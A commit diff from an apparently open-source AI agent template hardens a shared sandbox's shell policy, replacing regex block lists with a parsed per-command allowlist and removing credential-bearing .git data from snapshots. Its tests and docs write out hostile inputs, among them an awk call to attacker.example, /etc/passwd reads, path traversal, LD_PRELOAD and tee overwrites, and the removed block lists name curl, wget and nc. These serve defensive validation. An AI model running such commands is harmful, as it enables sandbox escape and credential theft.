Skip to content

Open source file-system and knowledge based agent template. Build AI agents that stay up to date with your knowledge base

refactor(sandbox): parse shell commands into argv before execution

Hugo Richard1b20754e9b8f
diff --git a/README.md b/README.md
index cfb4743..78d8b62 100644
--- a/README.md
+++ b/README.md
@@ -53,7 +53,7 @@ Share any conversation with a single click. Generates a public read-only link wi
### Shared Sandbox Pool
-Sandboxes are pooled across users and conversations. When a chat starts, it connects to an already-running sandbox instead of creating a new one — startup in under 100ms. If none is available, a pre-built snapshot spins one up in 1–3s. Sandboxes are read-only with blocked dangerous commands, and automatically shared so multiple agents search the same up-to-date content without duplicating resources.
+Sandboxes are pooled across users and conversations. When a chat starts, it connects to an already-running sandbox instead of creating a new one — startup in under 100ms. If none is available, a pre-built snapshot spins one up in 1–3s. Because a sandbox is shared, agents reach it through a parsed command policy that permits only read-only commands — nothing that can write a file or spawn a process — so multiple agents search the same up-to-date content without duplicating resources or affecting each other.
## [Architecture](./docs/ARCHITECTURE.md)
diff --git a/apps/app/server/api/sandbox/shell.post.ts b/apps/app/server/api/sandbox/shell.post.ts
index 85e5f23..3741212 100644
--- a/apps/app/server/api/sandbox/shell.post.ts
+++ b/apps/app/server/api/sandbox/shell.post.ts
@@ -13,18 +13,21 @@ const bodySchema = z.object({
)
const MAX_OUTPUT = 50000
+const SANDBOX_ROOT = '/vercel/sandbox'
-function validateCommand(command: string): void {
+/** Returns the re-quoted command to execute — never run the caller's own string. */
+function sanitizeCommand(command: string): string {
const validation = validateShellCommand(command, {
- allowedBaseDirectory: '/vercel/sandbox',
+ allowedBaseDirectory: SANDBOX_ROOT,
})
if (!validation.ok) {
throw createError({
statusCode: 400,
message: validation.reason,
- data: { why: 'The command failed security validation', fix: 'Use only allowed commands within /vercel/sandbox' },
+ data: { why: 'The command failed security validation', fix: `Use only allowed commands within ${SANDBOX_ROOT}` },
})
}
+ return validation.command
}
function truncateOutput(output: string): string {
@@ -48,10 +51,7 @@ export default defineEventHandler(async (event) => {
const body = await readValidatedBody(event, bodySchema.parse)
const commands = body.commands || [body.command!]
-
- for (const cmd of commands) {
- validateCommand(cmd)
- }
+ const executableCommands = commands.map(sanitizeCommand)
const isBatch = commands.length > 1
requestLog.set({ commandCount: commands.length, isBatch })
@@ -62,12 +62,12 @@ export default defineEventHandler(async (event) => {
const results: CommandResult[] = []
- for (const command of commands) {
+ for (const [index, command] of commands.entries()) {
const execStart = Date.now()
const result = await sandbox.runCommand({
cmd: 'bash',
- args: ['-c', command],
- cwd: '/vercel/sandbox',
+ args: ['-c', executableCommands[index]!],
+ cwd: SANDBOX_ROOT,
})
results.push({
diff --git a/apps/app/server/utils/bot/savoir.ts b/apps/app/server/utils/bot/savoir.ts
index b7a6f89..e97e031 100644
--- a/apps/app/server/utils/bot/savoir.ts
+++ b/apps/app/server/utils/bot/savoir.ts
@@ -2,41 +2,31 @@ import { tool } from 'ai'
import { z } from 'zod'
import { db, schema } from '@nuxthub/db'
import { createError } from 'evlog'
-import type { GenerateResult, ReportUsageOptions } from '@savoir/sdk'
+import { validateShellCommand, type GenerateResult, type ReportUsageOptions } from '@savoir/sdk'
import { getOrCreateSandbox } from '../sandbox/manager'
import { getAgentConfig, type AgentConfigData } from '../agent-config'
-const BLOCKED_PATTERNS = [
- /\brm\s+-rf?\b/i,
- /\brmdir\b/i,
- /\bmkdir\b/i,
- /\btouch\b/i,
- /\bchmod\b/i,
- /\bchown\b/i,
- /\bsudo\b/i,
- /\bcurl\b/i,
- /\bwget\b/i,
- /\bnc\b/i,
- /\bssh\b/i,
- /\bgit\b/i,
- />\s*\//,
- /\bdd\b/i,
- /\bkill\b/i,
- /\bpkill\b/i,
-]
-
const MAX_OUTPUT = 50000
-
-function validateCommand(command: string): void {
- for (const pattern of BLOCKED_PATTERNS) {
- if (pattern.test(command)) {
- throw createError({
- message: 'Command blocked by security policy',
- status: 403,
- why: `Command contains blocked pattern: ${command.slice(0, 50)}`,
- })
- }
+const SANDBOX_ROOT = '/vercel/sandbox'
+
+/**
+ * Returns the re-quoted command to execute — never run the agent's own string.
+ * Bot adapters reach this with input derived from untrusted issue and message
+ * bodies, so they share the single policy used by the HTTP shell endpoint.
+ */
+function sanitizeCommand(command: string): string {
+ const validation = validateShellCommand(command, {
+ allowedBaseDirectory: SANDBOX_ROOT,
+ })
+ if (!validation.ok) {
+ throw createError({
+ message: 'Command blocked by security policy',
+ status: 403,
+ why: validation.reason,
+ fix: `Use only allowed read-only commands within ${SANDBOX_ROOT}`,
+ })
}
+ return validation.command
}
function truncateOutput(output: string): string {
@@ -73,15 +63,15 @@ Use standard Unix commands to explore and read files.`,
yield { status: 'loading' as const }
const start = Date.now()
- validateCommand(command)
+ const executableCommand = sanitizeCommand(command)
const active = await getOrCreateSandbox(sessionId)
;({ sessionId } = active)
const result = await active.sandbox.runCommand({
cmd: 'bash',
- args: ['-c', command],
- cwd: '/vercel/sandbox',
+ args: ['-c', executableCommand],
+ cwd: SANDBOX_ROOT,
})
const stdout = truncateOutput(await result.stdout())
@@ -117,17 +107,17 @@ Maximum 10 commands per batch.`,
yield { status: 'loading' as const }
const start = Date.now()
- for (const cmd of commands) validateCommand(cmd)
+ const executableCommands = commands.map(sanitizeCommand)
const active = await getOrCreateSandbox(sessionId)
;({ sessionId } = active)
const results = []
- for (const command of commands) {
+ for (const [index, command] of commands.entries()) {
const result = await active.sandbox.runCommand({
cmd: 'bash',
- args: ['-c', command],
- cwd: '/vercel/sandbox',
+ args: ['-c', executableCommands[index]!],
+ cwd: SANDBOX_ROOT,
})
results.push({
diff --git a/apps/app/server/utils/sandbox/git.ts b/apps/app/server/utils/sandbox/git.ts
index 22ac1ca..89d58ac 100644
--- a/apps/app/server/utils/sandbox/git.ts
+++ b/apps/app/server/utils/sandbox/git.ts
@@ -88,11 +88,17 @@ export async function commit(sandbox: Sandbox, message: string): Promise<void> {
}
}
-/** Pushes branch to remote repository with upstream tracking */
+/**
+ * Pushes branch to remote repository.
+ *
+ * The URL carries an access token, so the push must not set upstream tracking:
+ * `--set-upstream` would record the tokenised URL in `.git/config`, where it
+ * outlives the push and is readable by anything with access to the filesystem.
+ */
export async function push(sandbox: Sandbox, repoUrl: string, branch: string): Promise<void> {
const result = await sandbox.runCommand({
cmd: 'git',
- args: ['push', '--set-upstream', repoUrl, branch],
+ args: ['push', repoUrl, `${branch}:${branch}`],
cwd: '/vercel/sandbox',
})
@@ -105,6 +111,30 @@ export async function push(sandbox: Sandbox, repoUrl: string, branch: string): P
}
}
+/**
+ * Removes the git metadata directory before a snapshot is taken.
+ *
+ * Snapshots are restored into sandboxes that every user's agent shares and can
+ * read, so `.git` must not travel with them: it holds the clone and push
+ * credentials as well as the full history, none of which the agent needs to
+ * search documentation.
+ */
+export async function stripGitMetadata(sandbox: Sandbox): Promise<void> {
+ const result = await sandbox.runCommand({
+ cmd: 'rm',
+ args: ['-rf', '/vercel/sandbox/.git'],
+ cwd: '/vercel/sandbox',
+ })
+
+ if (result.exitCode !== 0) {
+ throw createError({
+ message: 'Failed to remove git metadata before snapshot',
+ why: await result.stderr(),
+ fix: 'Snapshots must not ship .git, which carries repository credentials',
+ })
+ }
+}
+
/** Generates formatted commit message from sync results with source list */
export function generateCommitMessage(results: SyncSourceResult[]): string {
const successfulSources = results.filter(r => r.success)
diff --git a/apps/app/server/utils/sandbox/manager.ts b/apps/app/server/utils/sandbox/manager.ts
index 44e249a..933b6b1 100644
--- a/apps/app/server/utils/sandbox/manager.ts
+++ b/apps/app/server/utils/sandbox/manager.ts
@@ -4,6 +4,7 @@ import type { ActiveSandbox, SandboxManagerConfig, SnapshotMetadata } from './ty
import { getCurrentSnapshot, setCurrentSnapshot } from './snapshot'
import { deleteSandboxSession, generateSessionId, getSandboxSession, setSandboxSession, touchSandboxSession } from './session'
import { getSnapshotRepoConfig } from './snapshot-config'
+import { stripGitMetadata } from './git'
const DEFAULT_SESSION_TTL_MS = 30 * 60 * 1000
const SANDBOX_TIMEOUT_MS = 5 * 60 * 1000
@@ -76,6 +77,8 @@ export async function createSnapshotFromRepo(repoUrl: string, branch: string = '
log.info('sandbox', `Sandbox created: ${sandbox.sandboxId}, taking snapshot...`)
+ await stripGitMetadata(sandbox)
+
const snapshot = await sandbox.snapshot()
log.info('sandbox', `Snapshot created: ${snapshot.snapshotId}`)
diff --git a/apps/app/server/workflows/create-snapshot/steps/create-and-snapshot.ts b/apps/app/server/workflows/create-snapshot/steps/create-and-snapshot.ts
index 90080a1..418bdb4 100644
--- a/apps/app/server/workflows/create-snapshot/steps/create-and-snapshot.ts
+++ b/apps/app/server/workflows/create-snapshot/steps/create-and-snapshot.ts
@@ -8,6 +8,7 @@ import { getStepMetadata } from 'workflow'
import { log } from 'evlog'
import type { SnapshotConfig } from '../types'
import { createSandbox } from '../../../utils/sandbox/context'
+import { stripGitMetadata } from '../../../utils/sandbox/git'
export interface SnapshotResult {
snapshotId: string
@@ -23,6 +24,8 @@ export async function stepCreateAndSnapshot(config: SnapshotConfig): Promise<Sna
const sandbox = await createSandbox(config, 2 * 60 * 1000)
log.info('snapshot', `[${stepId}] Sandbox created: ${sandbox.sandboxId}`)
+ await stripGitMetadata(sandbox)
+
const snapshot = await sandbox.snapshot()
log.info('snapshot', `[${stepId}] Snapshot created: ${snapshot.snapshotId}`)
diff --git a/apps/app/server/workflows/sync-docs/steps/take-snapshot.ts b/apps/app/server/workflows/sync-docs/steps/take-snapshot.ts
index d80bad2..1f7973b 100644
--- a/apps/app/server/workflows/sync-docs/steps/take-snapshot.ts
+++ b/apps/app/server/workflows/sync-docs/steps/take-snapshot.ts
@@ -7,6 +7,7 @@
import { getStepMetadata } from 'workflow'
import { log } from 'evlog'
import { Sandbox } from '@vercel/sandbox'
+import { stripGitMetadata } from '../../../utils/sandbox/git'
export interface TakeSnapshotResult {
snapshotId: string
@@ -21,6 +22,8 @@ export async function stepTakeSnapshot(sandboxId: string): Promise<TakeSnapshotR
// Reconnect to existing sandbox
const sandbox = await Sandbox.get({ sandboxId })
+ await stripGitMetadata(sandbox)
+
const snapshot = await sandbox.snapshot()
log.info('sync', `[${stepId}] Snapshot created: ${snapshot.snapshotId}`)
diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md
index 0aee980..dd2fdbb 100644
--- a/docs/ARCHITECTURE.md
+++ b/docs/ARCHITECTURE.md
@@ -199,9 +199,18 @@ The sandbox system uses [Vercel Sandbox Snapshots](https://vercel.com/docs/verce
#### Allowed Commands
-The sandbox only permits read-only commands: `find`, `ls`, `tree`, `grep`, `cat`, `head`, `tail`, `wc`, `sort`, `uniq`, `diff`, `echo`, `stat`, `file`, `du`, `basename`, `dirname`, `realpath`, `xargs`.
+Commands are not pattern-matched. `validateShellCommand()` in `@savoir/sdk` parses the line into pipeline stages and argv tokens, checks each stage against a per-command policy, then rebuilds the line with every argument single-quoted. Callers execute that rebuilt line, never the string they were given, so arguments cannot reopen the shell.
-Blocked: `rm`, `curl`, `wget`, `git`, `ssh`, `sudo`, command substitution, redirects, interpreters.
+Permitted: `find`, `ls`, `tree`, `grep`, `egrep`, `fgrep`, `cat`, `head`, `tail`, `wc`, `sort`, `uniq`, `cut`, `tr`, `column`, `echo`, `printf`, `basename`, `dirname`, `realpath`, `file`, `stat`, `du`, `diff`, `comm`, `md5sum`, `sha256sum` — each restricted to its own allowlist of options.
+
+Two rules shape that table:
+
+- **No command that can spawn another.** `awk`, `sed` and `xargs` are excluded, along with interpreters. A name-only allowlist cannot constrain what such a command does with its arguments: `awk 'BEGIN{system("id")}'` is a valid `awk` invocation.
+- **No command that can write.** `tee` is excluded, as are writing options of otherwise read-only commands (`sort -o`, `find -delete`, `find -fprintf`). The snapshot is shared between users, so a write primitive is a cross-user integrity issue, not just a local one.
+
+Also refused: redirections, command substitution, subshells, background execution, newlines, environment-assignment prefixes, and any path operand resolving outside `/vercel/sandbox`.
+
+Because arguments are quoted, the shell performs no glob expansion. Pass patterns to the tool that handles them (`grep --include='*.md'`, `find -name '*.md'`) rather than relying on the shell to expand `docs/*.md`. Pipelines and `&&`, `||`, `;` between allowed commands continue to work.
### 4. AI Agent (Router + Model Selection)
@@ -394,7 +403,9 @@ See [ENVIRONMENT.md](./ENVIRONMENT.md) for the complete list.
### Sandbox Isolation
- Each sandbox runs in an isolated Vercel environment
-- No network access from within the sandbox
-- Read-only filesystem (cloned snapshot repo)
-- Commands limited to read-only operations (grep, cat, find, ls, etc.)
-- Blocked: destructive commands, network tools, interpreters, redirects
+- Sandboxes are pooled and shared between users, so treat their filesystem as shared state: the command policy is what keeps one user's agent from altering what another user's agent reads
+- The filesystem is writable at the OS level; it is the command policy, not a mount option, that keeps access read-only
+- Commands are parsed into argv and checked against a per-command policy, then re-quoted before execution (see [Allowed Commands](#allowed-commands))
+- No command in the policy can write a file or spawn another process
+- The same policy covers the HTTP endpoint and the bot adapters, whose input derives from untrusted issue and message bodies
+- `.git` is removed before every snapshot is taken: it carries the clone and push credentials, and anything inside a snapshot is readable by every agent that shares it
diff --git a/packages/sdk/src/index.ts b/packages/sdk/src/index.ts
index b7935dd..c14b263 100644
--- a/packages/sdk/src/index.ts
+++ b/packages/sdk/src/index.ts
@@ -2,7 +2,8 @@ import { SavoirClient } from './client'
import { createBashBatchTool, createBashTool } from './tools'
import type { AgentConfig, GenerateResult, ReportUsageOptions, SavoirConfig } from './types'
-export { ALLOWED_BASH_COMMANDS, BLOCKED_SHELL_PATTERNS, isPathWithinDirectory, pathMatchesGlob, validateShellCommand } from './shell-policy'
+export { ALLOWED_BASH_COMMANDS, isPathWithinDirectory, pathMatchesGlob, validateShellCommand } from './shell-policy'
+export type { ShellValidationOptions, ShellValidationResult } from './shell-policy'
export type { SavoirConfig, ShellResponse, ShellBatchResponse, ShellCommandResult, SyncOptions, SyncResponse, SnapshotResponse, GitHubSource, YouTubeSource, SourcesResponse, SyncSourceResponse, AgentConfig, GenerateResult, ReportUsageOptions } from './types'
export { SavoirError, NetworkError } from './errors'
diff --git a/packages/sdk/src/shell-policy.test.ts b/packages/sdk/src/shell-policy.test.ts
index 8770ae6..2b2f667 100644
--- a/packages/sdk/src/shell-policy.test.ts
+++ b/packages/sdk/src/shell-policy.test.ts
@@ -1,33 +1,148 @@
import { describe, expect, test } from 'bun:test'
import { isPathWithinDirectory, pathMatchesGlob, validateShellCommand } from './shell-policy'
+const SANDBOX = { allowedBaseDirectory: '/vercel/sandbox' }
+
+function validate(command: string) {
+ return validateShellCommand(command, SANDBOX)
+}
+
+function reason(command: string): string {
+ const result = validate(command)
+ if (result.ok) {
+ throw new Error(`Expected "${command}" to be rejected, got: ${result.command}`)
+ }
+ return result.reason
+}
+
describe('validateShellCommand', () => {
test('accepts allowed command', () => {
- const result = validateShellCommand('ls -la docs/')
- expect(result).toEqual({ ok: true })
+ expect(validate('ls -la docs/')).toEqual({ ok: true, command: `'ls' '-la' 'docs/'` })
})
- test('rejects blocked shell pattern', () => {
- const result = validateShellCommand('ls $(pwd)')
- expect(result.ok).toBe(false)
+ test('accepts the documented search patterns', () => {
+ const commands = [
+ 'grep -rl "useAsyncData" docs/ --include="*.md" | head -5',
+ 'grep -rlE "term1|term2" docs/ --include="*.md" | head -5',
+ 'grep -n -C3 "keyword" docs/path/file.md',
+ 'find docs/ -name "*routing*" -name "*.md"',
+ 'find docs/ -maxdepth 2 -type d',
+ 'head -100 docs/nuxt/index.md',
+ 'head -20 docs/nuxt/index.md',
+ 'cat docs/path/file.md',
+ 'wc -l docs/path/file.md',
+ 'ls docs/ | sort | uniq -c | sort -rn | head -10',
+ 'grep -c "term" docs/a.md docs/b.md && echo done',
+ ]
+
+ for (const command of commands) {
+ expect(validate(command).ok).toBe(true)
+ }
})
test('rejects disallowed command', () => {
- const result = validateShellCommand('curl https://example.com')
+ expect(reason('curl https://example.com')).toBe('Command not allowed: curl')
+ expect(reason('id')).toBe('Command not allowed: id')
+ })
+
+ test('rejects commands that can spawn other commands', () => {
+ // Allowlisting a command name cannot constrain what that command does with
+ // its arguments, so interpreters and exec wrappers stay out of the table.
+ expect(reason(`awk 'BEGIN{system("id")}'`)).toBe('Command not allowed: awk')
+ expect(reason(`awk 'BEGIN{system("curl https://attacker.example")}'`)).toBe('Command not allowed: awk')
+ expect(reason('xargs id')).toBe('Command not allowed: xargs')
+ expect(reason('echo x | xargs -I% id')).toBe('Command not allowed: xargs')
+ expect(reason('sed -i "s/a/b/" README.md')).toBe('Command not allowed: sed')
+ expect(reason('python -c "import os"')).toBe('Command not allowed: python')
+ expect(reason('less README.md')).toBe('Command not allowed: less')
+ })
+
+ test('rejects commands that can write to the sandbox', () => {
+ expect(reason('tee /vercel/sandbox/poison.md')).toBe('Command not allowed: tee')
+ expect(reason('echo hi | tee /vercel/sandbox/README.md')).toBe('Command not allowed: tee')
+ expect(reason('sort -o /vercel/sandbox/README.md docs/a.md')).toBe('Option not allowed for sort: -o')
+ expect(reason('find . -name "*.md" -delete')).toBe('Option not allowed for find: -delete')
+ expect(reason('find . -fprintf /vercel/sandbox/out.md "%p"')).toBe('Option not allowed for find: -fprintf')
+ expect(reason('cat docs/a.md > /vercel/sandbox/README.md')).toBe('Redirection is not allowed')
+ expect(reason('cat docs/a.md >> /vercel/sandbox/README.md')).toBe('Redirection is not allowed')
+ })
+
+ test('rejects command substitution and shell control constructs', () => {
+ expect(reason('ls $(pwd)')).toBe('Command substitution is not allowed')
+ expect(reason('ls `pwd`')).toBe('Command substitution is not allowed')
+ expect(reason('cat "$(id)"')).toBe('Command substitution is not allowed')
+ expect(reason('ls docs/ &')).toBe('Background execution is not allowed')
+ expect(reason('(ls docs/)')).toBe('Subshells and brace groups are not allowed')
+ expect(reason('cat docs/a.md\nid')).toBe('Newlines are not allowed')
+ expect(reason('LD_PRELOAD=/tmp/x.so grep -r a docs/')).toBe('Environment assignments are not allowed: LD_PRELOAD=/tmp/x.so')
+ })
+
+ test('rejects paths outside the sandbox, however they are written', () => {
+ expect(reason('cat /etc/passwd')).toBe('Path outside sandbox is not allowed: /etc/passwd')
+ expect(reason('cat "/etc/passwd"')).toBe('Path outside sandbox is not allowed: /etc/passwd')
+ expect(reason(`cat '/etc/passwd'`)).toBe('Path outside sandbox is not allowed: /etc/passwd')
+ expect(reason('cat ../../../etc/passwd')).toBe('Path outside sandbox is not allowed: ../../../etc/passwd')
+ expect(reason('cat ./../../../etc/passwd')).toBe('Path outside sandbox is not allowed: ./../../../etc/passwd')
+ expect(reason('cat /vercel/sandbox/../../etc/passwd')).toBe('Path outside sandbox is not allowed: /vercel/sandbox/../../etc/passwd')
+ expect(reason('grep -r secret /etc')).toBe('Path outside sandbox is not allowed: /etc')
+ expect(reason('cat docs/a.md /etc/passwd')).toBe('Path outside sandbox is not allowed: /etc/passwd')
+ })
+
+ test('treats a leading grep operand as a pattern, not a path', () => {
+ expect(validate('grep -rl "/api/users" docs/').ok).toBe(true)
+ expect(reason('grep -rl -e "/api/users" /etc')).toBe('Path outside sandbox is not allowed: /etc')
+ })
+
+ test('rejects malformed quoting instead of guessing', () => {
+ expect(reason(`cat 'docs/a.md`)).toBe('Unbalanced single quote')
+ expect(reason('cat "docs/a.md')).toBe('Unbalanced double quote')
+ expect(reason('cat docs/a.md |')).toBe('Empty command segment after "|"')
+ expect(reason('| head -5')).toBe('Empty command segment before "|"')
+ expect(validate('cat docs/a.md;').ok).toBe(true)
+ })
+
+ test('rejects options outside the per-command allowlist', () => {
+ expect(reason('tail -f docs/a.md')).toBe('Option not allowed for tail: -f')
+ expect(reason('grep -f patterns.txt docs/')).toBe('Option not allowed for grep: -f')
+ expect(reason('head --lines')).toBe('Option requires a value: --lines')
+ })
+
+ test('sanitized command quotes every token', () => {
+ const result = validate('grep -rlE "term1|term2" docs/ | head -5')
expect(result).toEqual({
- ok: false,
- reason: 'Command not allowed: curl',
+ ok: true,
+ command: `'grep' '-rlE' 'term1|term2' 'docs/' | 'head' '-5'`,
})
})
- test('rejects absolute path outside sandbox', () => {
- const result = validateShellCommand('cat /etc/passwd', {
- allowedBaseDirectory: '/vercel/sandbox',
- })
- expect(result).toEqual({
- ok: false,
- reason: 'Path outside sandbox is not allowed: /etc/passwd',
+ test('sanitized command neutralises metacharacters inside arguments', () => {
+ // The pattern survives as data: bash sees one quoted argument, not a pipeline.
+ const result = validate(`grep -r 'a; id' docs/`)
+ expect(result).toEqual({ ok: true, command: `'grep' '-r' 'a; id' 'docs/'` })
+ })
+
+ test('sanitized command escapes embedded single quotes', () => {
+ const result = validate(`grep -r "it's" docs/`)
+ expect(result).toEqual({ ok: true, command: `'grep' '-r' 'it'\\''s' 'docs/'` })
+ })
+
+ test('sanitizing is idempotent', () => {
+ const once = validate('grep -rl "keyword" docs/ | head -5')
+ expect(once.ok).toBe(true)
+ if (!once.ok) return
+ expect(validate(once.command)).toEqual(once)
+ })
+
+ test('honours a narrowed command set', () => {
+ const result = validateShellCommand('ls docs/', {
+ ...SANDBOX,
+ allowedCommands: new Set(['cat']),
})
+ expect(result).toEqual({ ok: false, reason: 'Command not allowed: ls' })
+ })
+
+ test('skips path checks when no base directory is set', () => {
+ expect(validateShellCommand('cat /etc/passwd').ok).toBe(true)
})
})
diff --git a/packages/sdk/src/shell-policy.ts b/packages/sdk/src/shell-policy.ts
index decadc5..14f55da 100644
--- a/packages/sdk/src/shell-policy.ts
+++ b/packages/sdk/src/shell-policy.ts
@@ -1,67 +1,165 @@
import path from 'node:path'
-export const ALLOWED_BASH_COMMANDS = new Set([
+/** How a command's bare operands are interpreted, which decides what gets path-checked. */
+type OperandKind = 'paths' | 'literal-then-paths' | 'literals'
+
+interface CommandPolicy {
+ /** Options accepted as-is, without a value. */
+ options?: readonly string[]
+ /** Options taking a value, either attached (`-n5`, `--include=*.md`) or as the next token. */
+ valueOptions?: readonly string[]
+ operands?: OperandKind
+ /** Accepts the legacy numeric form, as in `head -20`. */
+ numericOption?: boolean
+ /** Options are whole words behind a single dash (`find -maxdepth`), never clusters. */
+ singleDashWords?: boolean
+}
+
+const GREP_OPTIONS = [
+ '-r',
+ '-R',
+ '-l',
+ '-L',
+ '-n',
+ '-i',
+ '-I',
+ '-w',
+ '-x',
+ '-c',
+ '-v',
+ '-o',
+ '-h',
+ '-H',
+ '-s',
+ '-a',
+ '-q',
+ '-E',
+ '-F',
+ '-G',
+ '-P',
+ '--recursive',
+ '--dereference-recursive',
+ '--files-with-matches',
+ '--files-without-match',
+ '--line-number',
+ '--ignore-case',
+ '--word-regexp',
+ '--line-regexp',
+ '--count',
+ '--invert-match',
+ '--only-matching',
+ '--no-filename',
+ '--with-filename',
+ '--fixed-strings',
+ '--basic-regexp',
+ '--extended-regexp',
+ '--perl-regexp',
+ '--quiet',
+ '--silent',
+ '--no-messages',
+ '--text',
+ '--null-data',
+] as const
+
+const GREP_VALUE_OPTIONS = [
+ '-m',
+ '-A',
+ '-B',
+ '-C',
+ '-e',
+ '-d',
+ '--max-count',
+ '--after-context',
+ '--before-context',
+ '--context',
+ '--regexp',
+ '--include',
+ '--exclude',
+ '--exclude-dir',
+ '--color',
+ '--colour',
+ '--devices',
+ '--directories',
+ '--binary-files',
+] as const
+
+/** Options carrying the search pattern, so the first operand is a path rather than a regex. */
+const PATTERN_OPTIONS = new Set(['-e', '--regexp'])
+
+/**
+ * The sandbox command surface. Every entry must be free of write and exec
+ * primitives: anything able to spawn a process (`awk`, `sed -e`, `xargs`,
+ * `find -exec`) or create a file (`tee`, `sort -o`) escapes the policy, since
+ * the command name is all a name-only allowlist can pin down.
+ */
+const COMMAND_POLICIES: Record<string, CommandPolicy> = {
// File discovery
- 'find',
- 'ls',
- 'tree',
+ find: {
+ options: ['-empty', '-not', '-o', '-a', '-and', '-or', '-print', '-print0', '-follow', '-depth', '-prune', '-readable', '-nowarn'],
+ valueOptions: ['-name', '-iname', '-path', '-ipath', '-regex', '-iregex', '-type', '-maxdepth', '-mindepth', '-size', '-links'],
+ singleDashWords: true,
+ },
+ ls: {
+ options: ['-l', '-a', '-A', '-h', '-R', '-t', '-r', '-S', '-1', '-d', '-F', '-i', '-p', '-X', '-U', '-n', '-G', '-o', '-g', '-s', '-c', '-u', '--all', '--almost-all', '--human-readable', '--recursive', '--reverse', '--size', '--classify', '--directory', '--inode', '--numeric-uid-gid'],
+ valueOptions: ['--sort', '--time-style', '--color', '--format', '--block-size'],
+ },
+ tree: {
+ options: ['-d', '-a', '-f', '-F', '-i', '-l', '-x', '-r', '-t', '--noreport', '--dirsfirst'],
+ valueOptions: ['-L', '-I', '-P', '--filelimit'],
+ },
// Content search
- 'grep',
- 'egrep',
- 'fgrep',
+ grep: { options: GREP_OPTIONS, valueOptions: GREP_VALUE_OPTIONS, operands: 'literal-then-paths' },
+ egrep: { options: GREP_OPTIONS, valueOptions: GREP_VALUE_OPTIONS, operands: 'literal-then-paths' },
+ fgrep: { options: GREP_OPTIONS, valueOptions: GREP_VALUE_OPTIONS, operands: 'literal-then-paths' },
// File reading
- 'cat',
- 'head',
- 'tail',
- 'less',
- 'more',
- // Text processing (output filtering)
- 'wc',
- 'sort',
- 'uniq',
- 'cut',
- 'awk',
- 'sed',
- 'tr',
- 'column',
+ cat: { options: ['-n', '-b', '-s', '-E', '-T', '-A', '-v', '-e', '-t', '--number', '--number-nonblank', '--squeeze-blank', '--show-ends', '--show-tabs', '--show-all'] },
+ head: { options: ['-q', '-v', '-z', '--quiet', '--verbose'], valueOptions: ['-n', '-c', '--lines', '--bytes'], numericOption: true },
+ tail: { options: ['-q', '-v', '-z', '--quiet', '--verbose'], valueOptions: ['-n', '-c', '--lines', '--bytes'], numericOption: true },
+ // Text processing (output filtering only)
+ wc: { options: ['-l', '-w', '-c', '-m', '-L', '--lines', '--words', '--bytes', '--chars', '--max-line-length'] },
+ sort: {
+ options: ['-n', '-r', '-u', '-f', '-b', '-h', '-V', '-g', '-M', '-s', '-i', '-d', '-c', '-z', '--numeric-sort', '--reverse', '--unique', '--ignore-case', '--human-numeric-sort', '--version-sort', '--general-numeric-sort', '--month-sort', '--stable', '--check', '--dictionary-order', '--ignore-leading-blanks'],
+ valueOptions: ['-k', '-t', '--key', '--field-separator'],
+ },
+ uniq: {
+ options: ['-c', '-d', '-u', '-i', '-D', '-z', '--count', '--repeated', '--unique', '--ignore-case', '--all-repeated'],
+ valueOptions: ['-w', '-s', '-f', '--check-chars', '--skip-chars', '--skip-fields'],
+ },
+ cut: {
+ options: ['-s', '-n', '-z', '--only-delimited', '--complement'],
+ valueOptions: ['-d', '-f', '-c', '-b', '--delimiter', '--fields', '--characters', '--bytes', '--output-delimiter'],
+ },
+ tr: { options: ['-d', '-s', '-c', '-C', '-t', '--delete', '--squeeze-repeats', '--complement', '--truncate-set1'], operands: 'literals' },
+ column: { options: ['-t', '-x', '--table'], valueOptions: ['-s', '-c', '-o', '--separator', '--output-width', '--output-separator'] },
// Utilities
- 'echo',
- 'printf',
- 'test',
- '[',
- 'true',
- 'false',
- 'basename',
- 'dirname',
- 'realpath',
- 'file',
- 'stat',
- 'du',
- 'diff',
- 'comm',
- 'xargs',
- 'tee',
- // String/path helpers
- 'md5sum',
- 'sha256sum',
-])
-
-export const BLOCKED_SHELL_PATTERNS = [
- /\$\(/, // command substitution $(...)
- /`[^`]+`/, // backtick substitution
- /\beval\b/, // eval
- /\bexec\b/, // exec
- /\bsource\b/, // source
- /\bbash\b/, // nested bash
- /\bsh\b/, // nested sh
- /\bzsh\b/, // nested zsh
- /\benv\b/, // env (can run arbitrary commands)
- />\s*[^\s|]/, // write redirection (> file)
- /\bpython\b/, // interpreter
- /\bnode\b/, // interpreter
- /\bperl\b/, // interpreter
- /\bruby\b/, // interpreter
-]
+ echo: { options: ['-n', '-e', '-E'], operands: 'literals' },
+ printf: { operands: 'literals' },
+ basename: { options: ['-a', '-z', '--multiple', '--zero'], valueOptions: ['-s', '--suffix'], operands: 'literals' },
+ dirname: { options: ['-z', '--zero'], operands: 'literals' },
+ realpath: {
+ options: ['-e', '-m', '-s', '-z', '-q', '--canonicalize-existing', '--canonicalize-missing', '--no-symlinks', '--quiet', '--zero'],
+ valueOptions: ['--relative-to', '--relative-base'],
+ },
+ file: { options: ['-b', '-i', '-L', '-z', '-h', '-k', '--brief', '--mime', '--mime-type', '--dereference'] },
+ stat: { options: ['-L', '-t', '-f', '--dereference', '--terse', '--file-system'], valueOptions: ['-c', '--format', '--printf'] },
+ du: {
+ options: ['-h', '-s', '-a', '-c', '-k', '-m', '-b', '-S', '-x', '-L', '--human-readable', '--summarize', '--all', '--total', '--bytes', '--separate-dirs', '--si'],
+ valueOptions: ['-d', '-B', '--max-depth', '--block-size', '--threshold'],
+ },
+ diff: {
+ options: ['-u', '-r', '-q', '-w', '-i', '-B', '-b', '-N', '-y', '-c', '-s', '-a', '-E', '-Z', '--unified', '--recursive', '--brief', '--ignore-all-space', '--ignore-case', '--ignore-blank-lines', '--ignore-space-change', '--new-file', '--side-by-side', '--report-identical-files', '--text'],
+ valueOptions: ['-U', '-C', '-W', '--width'],
+ },
+ comm: { options: ['-1', '-2', '-3', '-i', '-z', '--total', '--check-order', '--nocheck-order'], valueOptions: ['--output-delimiter'] },
+ // Checksums
+ md5sum: { options: ['-b', '-t', '-z', '--binary', '--text', '--zero'] },
+ sha256sum: { options: ['-b', '-t', '-z', '--binary', '--text', '--zero'] },
+}
+
+export const ALLOWED_BASH_COMMANDS: ReadonlySet<string> = new Set(Object.keys(COMMAND_POLICIES))
+
+const MAX_STAGES = 8
+const MAX_TOKENS_PER_STAGE = 64
export function isPathWithinDirectory(filePath: string, directory: string): boolean {
const resolvedPath = path.resolve(filePath)
@@ -103,73 +201,341 @@ export function pathMatchesGlob(filePath: string, glob: string, baseDir: string)
}
